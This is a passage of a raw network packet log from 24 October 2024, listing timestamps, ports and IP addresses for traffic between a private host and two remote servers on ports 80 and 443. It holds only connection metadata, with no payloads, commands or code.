Oct 24, 2024 08:46:04.043468952 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.043474913 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.043488026 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.043512106 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.044091940 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.044097900 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.044110060 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.044171095 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.044543028 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.044581890 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.044619083 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.044620991 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.044627905 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.044639111 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.044677973 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.045516014 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.045521975 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.045532942 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.045564890 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.045567989 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.045571089 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.045622110 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.046456099 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.046462059 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.046473026 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.046478033 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.046515942 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.048998117 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.049024105 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.049030066 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.049074888 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.162595987 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.162607908 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.162626028 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.162636995 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.162646055 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.162648916 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.162672043 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.162724018 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.162739992 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.162748098 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.162764072 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.162779093 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.162911892 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.162921906 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.162931919 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.162957907 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.162974119 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.162986040 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163018942 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.163296938 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163307905 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163325071 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163336992 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163338900 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.163347006 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163363934 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163367987 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.163400888 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.163790941 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163801908 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163815022 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163835049 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.163845062 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163856030 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163866043 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163885117 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163887024 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.163897991 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163907051 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.163923025 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.163945913 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.164493084 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.164503098 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.164514065 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.164550066 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.164601088 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.164671898 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.164684057 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.164714098 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.164717913 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.164729118 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.164740086 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.164752960 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.164762020 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.164767981 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.164779902 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.164786100 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.164791107 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.164812088 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.174249887 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.174266100 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.174278975 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.174288988 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.174292088 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.174304008 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.174312115 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.174316883 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.174334049 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.174340010 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.174345016 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.174361944 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.174412012 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.174448013 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.174535036 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281217098 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281235933 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281256914 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281267881 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281280994 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281301975 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281369925 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.281461954 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281472921 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281485081 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281552076 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281568050 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281582117 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281583071 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.281583071 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.281594038 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281599998 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.281675100 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.282047987 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282061100 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282073021 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282098055 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.282135963 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282146931 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282171965 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.282452106 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282463074 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282489061 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.282610893 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282622099 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282634020 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282648087 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282653093 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.282661915 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282672882 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282680988 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.282696962 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282705069 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.282707930 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.282742023 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.283224106 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.283235073 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.283246994 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.283267975 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.283278942 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.283291101 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.283302069 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.283328056 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.283334017 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.283346891 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.283356905 CEST	80	49177	192.3.176.141	192.168.2.22
Oct 24, 2024 08:46:04.283375978 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.489712000 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:04.774339914 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.774451971 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:04.780150890 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.780240059 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:04.887577057 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.887670040 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.887708902 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.887718916 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:04.887763023 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.887784958 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:04.891515017 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.891581059 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:04.891590118 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.895826101 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.895894051 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:04.895901918 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.904393911 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.904469013 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:04.904478073 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.913316011 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.913381100 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:04.913389921 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.922235966 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.922322035 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:04.922331095 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.930948973 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.931027889 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:04.931035995 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.939469099 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.939539909 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:04.939548969 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.948409081 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:04.948484898 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:04.948493004 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.003087997 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.003175974 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.003200054 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.003921032 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.003966093 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.003985882 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.003993988 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.004048109 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.004054070 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.007029057 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.007080078 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.007086992 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.007107019 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.007160902 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.007167101 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.011508942 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.011545897 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.011584997 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.011591911 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.011647940 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.011661053 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.014503002 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.014595985 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.014605045 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.020700932 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.020757914 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.020764112 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.026248932 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.026309013 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.026314974 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.027072906 CEST	49177	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:46:05.031913996 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.032002926 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.032016039 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.037547112 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.037662029 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.037668943 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.043308973 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.043361902 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.043370962 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.048939943 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.049007893 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.049025059 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.054625988 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.054697990 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.054706097 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.060412884 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.060468912 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.060476065 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.065960884 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.066056013 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.066063881 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.071655989 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.071707010 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.071717978 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.077316046 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.077369928 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.077378035 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.082942009 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.082997084 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.083004951 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.118844986 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.118906021 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.118915081 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.118968964 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.119034052 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.119040966 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.120295048 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.120340109 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.120372057 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.120378971 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.120403051 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.120424032 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.120466948 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.120501041 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.120510101 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.120517015 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.120585918 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.120590925 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.122862101 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.122927904 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.122935057 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.127013922 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.127075911 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.127083063 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.131959915 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.132025957 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.132034063 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.137351990 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.137411118 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.137418032 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.141822100 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.141882896 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.141891003 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.145104885 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.145172119 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.145179033 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.148080111 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.148137093 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.148144007 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.150921106 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.150990009 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.151002884 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.154006958 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.154083014 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.154099941 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.156874895 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.156944990 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.156960011 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.159861088 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.159943104 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.159959078 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.162770987 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.162827969 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.162841082 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.165693998 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.165848970 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.165858030 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.168541908 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.168596029 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.168602943 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.171319008 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.171366930 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.171372890 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.182059050 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.182090044 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.182110071 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.182120085 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.182156086 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.182162046 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.182168961 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.182213068 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.182219982 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.183068991 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.183125019 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.183131933 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.186333895 CEST	49176	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:46:05.186489105 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.188021898 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.188066006 CEST	443	49176	142.250.186.97	192.168.2.22
Oct 24, 2024 08:46:05.188091993 CEST	49176	443	192.168.2.22	142.250.186.97
